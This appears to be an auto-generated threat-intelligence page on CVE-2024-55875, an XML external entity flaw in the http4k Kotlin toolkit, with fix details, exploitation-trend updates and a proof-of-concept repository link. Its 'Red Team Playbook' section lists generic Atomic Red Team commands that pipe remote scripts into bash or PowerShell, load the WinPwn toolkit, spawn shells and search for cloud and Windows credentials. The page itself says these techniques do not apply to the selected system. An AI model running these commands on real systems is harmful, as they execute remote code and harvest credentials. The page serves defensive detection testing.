CVE-2024-55875
Overview
This vulnerability is an XML External Entity (XXE) injection affecting the http4k Kotlin HTTP toolkit's XML parsing components. The root cause lies in improper handling of XML documents containing external entity declarations and DOCTYPE elements within the Body.xml() and Document.asXmlDocument() functions. The default DocumentBuilderFactory configuration allowed external entity processing and internal entity expansion, enabling malicious XML payloads to exploit the parser's behavior.
Vulnerability Description
http4k is a functional toolkit for Kotlin HTTP applications. Prior to version 6.50.0.0, there is a potential XXE (XML External Entity Injection) vulnerability when http4k handling malicious XML contents within requests, which might allow attackers to read local sensitive information on server, trigger Server-side Request Forgery and even execute code under some circumstances. The original fix shipped in v5.41.0.0 / v4.50.0.0 closed the documented external-entity attack class (SSRF, local-file disclosure, code execution) by setting `ACCESS_EXTERNAL_DTD=""`, `ACCESS_EXTERNAL_SCHEMA=""`, and `isExpandEntityReferences=false` on the default `DocumentBuilderFactory`. A residual gap remained: the parser still accepted documents containing `<!DOCTYPE>` declarations even though external entity resolution was blocked. This left open billion-laughs-style internal entity expansion DoS attacks against any application using `Body.xml()` or `Document.asXmlDocument()` on untrusted XML. v6.50.0.0 closes this residual by adding `disallow-doctype-decl=true` and `FEATURE_SECURE_PROCESSING=true` to `defaultXmlParsingConfig`. Any document containing a `<!DOCTYPE>` is now rejected at parse time.
Impact
An unauthenticated attacker can exploit this vulnerability by submitting malicious XML payloads to affected http4k applications, enabling them to read sensitive files on the server, perform server-side request forgery (SSRF), execute arbitrary code, or cause denial-of-service via resource exhaustion. This can lead to full system compromise, data breaches, and service disruption without requiring user interaction or authentication. The vulnerability affects any application using vulnerable XML parsing functions on untrusted input.
Solution
Upgrade the http4k library to version 6.50.0.0 or later, which implements disallow-doctype-decl=true and FEATURE_SECURE_PROCESSING=true in the defaultXmlParsingConfig to reject XML documents containing DOCTYPE declarations. Earlier partial fixes were included in versions 5.41.0.0 and 4.50.0.0 but do not fully mitigate the issue. Refer to the official advisory at https://github.com/http4k/http4k/security/advisories/GHSA-7mj5-hjjj-8rgw and the commit 35297adc6d6aca4951d50d8cdf17ff87a8b19fbc for detailed patch instructions.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the HTTP toolkit for Kotlin applications involves an XML External Entity Injection (XXE) flaw, which can be exploited when the library processes malicious XML content within incoming requests. This type of vulnerability occurs when an application parses XML input from untrusted sources without proper validation or sanitization. Attackers can craft XML payloads that include references to external entities, allowing them to manipulate the XML parser into accessing local files or making network requests to external systems. The potential for this vulnerability to expose sensitive information stored on the server, or to facilitate server-side request forgery (SSRF), poses significant risks to the integrity and confidentiality of the affected systems.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could send a specially crafted XML request to a vulnerable application that utilizes the affected toolkit, which would then be parsed by the server. If the application does not implement adequate controls, the attacker could gain access to local files, such as configuration files containing sensitive credentials, or trigger requests to internal services that should not be accessible externally. In more severe scenarios, if the application has the capability to execute code based on the XML input, an attacker could potentially execute arbitrary code, leading to a complete compromise of the server. This multifaceted nature of the attack makes it particularly dangerous, as it can lead to a chain of exploits that escalate the attacker's privileges.
The real-world impact of such vulnerabilities can be profound, especially for organizations that handle sensitive data or operate critical infrastructure. The ability to read local files can lead to the exposure of sensitive information, including user data, API keys, and other confidential information. Furthermore, SSRF attacks can enable attackers to pivot within the network, potentially accessing internal services that are not exposed to the internet. The business risks associated with these types of vulnerabilities include financial losses, reputational damage, and regulatory penalties, particularly for organizations subject to data protection regulations. The high CVSS score of 9.8 reflects the severe implications of a successful exploitation, emphasizing the urgent need for organizations to address this vulnerability.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security approach. First, it is crucial to upgrade to the patched version of the toolkit, which addresses the XXE vulnerability. Additionally, developers should adopt secure coding practices, such as validating and sanitizing XML input, to ensure that only trusted data is processed. Implementing security controls like Web Application Firewalls (WAFs) can help detect and block malicious requests before they reach the application. Regular security audits and penetration testing should also be conducted to identify potential vulnerabilities and ensure that security measures are effective. Finally, educating developers and security teams about the risks associated with XML processing and the importance of secure coding practices can further reduce the likelihood of exploitation.
In conclusion, the XXE vulnerability in the HTTP toolkit for Kotlin applications represents a significant threat to the security of web applications. The potential for sensitive information exposure, server-side request forgery, and arbitrary code execution necessitates immediate attention from organizations using the affected library. By understanding the technical details, attack vectors, and real-world implications of this vulnerability, organizations can take proactive steps to mitigate risks and protect their systems from exploitation.
CSURFACE threat intelligence has detected a marked increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2024-55875, reflecting a nearly 50% rise in the likelihood of exploitation. This upward trend, coupled with a recent emergence of publicly available proof-of-concept exploits on GitHub, signals growing attacker interest and capability to leverage the XXE vulnerability in http4k. Although the increase is not yet classified as rapid, the sustained upward trajectory over the past week indicates that threat actors are actively developing or refining exploitation techniques. For defenders, this escalation underscores an elevated risk environment where the potential for sensitive data exposure, server-side request forgery, and remote code execution is becoming more imminent. Consequently, the threat level associated with this vulnerability has intensified, warranting heightened vigilance in monitoring and detection efforts within environments utilizing the affected http4k versions.
Update 2 — July 25, 2026
CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting CVE-2024-55875, accompanied by the emergence of new proof-of-concept exploits circulating within underground forums and public repositories. This development signals that threat actors are transitioning from reconnaissance and initial probing to active exploitation phases, increasing the likelihood of successful compromise. Our telemetry indicates that these activities are not yet widespread but are gaining momentum, suggesting that adversaries are refining their tactics to bypass existing detection mechanisms. The presence of publicly available exploit code lowers the barrier to entry for less sophisticated attackers, thereby broadening the threat actor landscape. Consequently, the risk level associated with this vulnerability has shifted from elevated to critical, as the probability of exploitation in operational environments has substantially increased. Defenders should recognize that the window for proactive defense is narrowing as adversaries intensify efforts to weaponize this flaw.
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
JAckLosingHeart/CVE-2024-55875
CVE-2024-55875 | GHSA-7mj5-hjjj-8rgw | http4k first CVE
|
JAckLosingHeart | 8 | 0 | 2024-12-13 | View |
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-664 | Server Side Request Forgery |
38%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-55875 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/http4k/http4k/security/advisories/GHSA-7mj5-hjjj-8rgw |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/http4k/http4k/commit/35297adc6d6aca4951d50d8cdf17ff87a8b19fbc |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/http4k/http4k/blob/25696dff2d90206cc1da42f42a1a8dbcdbcdf18c/core/format/xml/src/main/kotlin/org/http4k/format/Xml.kt#L42-L46 |